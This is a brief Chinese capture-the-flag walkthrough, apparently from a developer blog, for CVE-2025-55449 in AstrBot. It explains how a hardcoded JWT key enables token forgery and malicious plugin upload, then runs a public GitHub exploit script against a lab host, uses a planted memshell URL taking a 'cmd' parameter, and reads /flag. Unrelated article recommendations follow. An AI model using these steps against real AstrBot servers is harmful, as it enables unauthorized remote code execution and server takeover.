靶标介绍：

AstrBot 是一款开源的 AI 聊天机器人框架，其旧版本（≤3.5.17）的 Web 管理接口存在远程代码执行漏洞（CVE-2025-55449），由于硬编码 JWT 签名密钥，未授权远程攻击者可伪造身份令牌，获取任意用户权限。后续可通过 install-upload 接口上传恶意插件，实现任意代码执行，导致服务器失陷。

打开是这样

然后去这个大佬这里把python脚本下载解压下来

GitHub - Marven11/CVE-2025-55449-AstrBot-RCE: AstrBot老版本RCE · GitHub

下载完了就unzip就可以 

unzip完就cd进去 

之后就python3 main.py http://39.106.48.123:17975    

等脚本跑完就出来http://39.106.48.123:17975//test_memshell?cmd=id

然后 cat /flag就可以了

# 安全 # web安全
Logo
DAMO开发者矩阵

DAMO开发者矩阵，由阿里巴巴达摩院和中国互联网协会联合发起，致力于探讨最前沿的技术趋势与应用成果，搭建高质量的交流与分享平台，推动技术创新与产业应用链接，围绕“人工智能与新型计算”构建开放共享的开发者生态。

更多推荐

cover

机器人预期功能安全国标正在起草：巡检机器人采购文件里该预留哪几项

avatar DAMO开发者矩阵

梳理MDP、Bellman 方程、RL、PPO之间的关系

Richard Bellman 提出 Bellman 方程，作为求解 MDP 问题的具体方法，它用MDP的五元组构建了一个递归方程，以此定义了价值函数。其数学形式为：Vπ(s)=Ea∼π,s′∼P​[R(s,a)+γVπ(s′)]五元组完整刻画了“环境与智能体交互的规则”，并假设未来只依赖当前状态这一概念，但本身不包含任何“怎么算”的信息。MDP 像一张地图：标出了所有城市（状态）、道路（状态）、

avatar DAMO开发者矩阵
cover

染料厂上巡检机器人值不值？把人工成本和购置运维两笔账摊开算

avatar DAMO开发者矩阵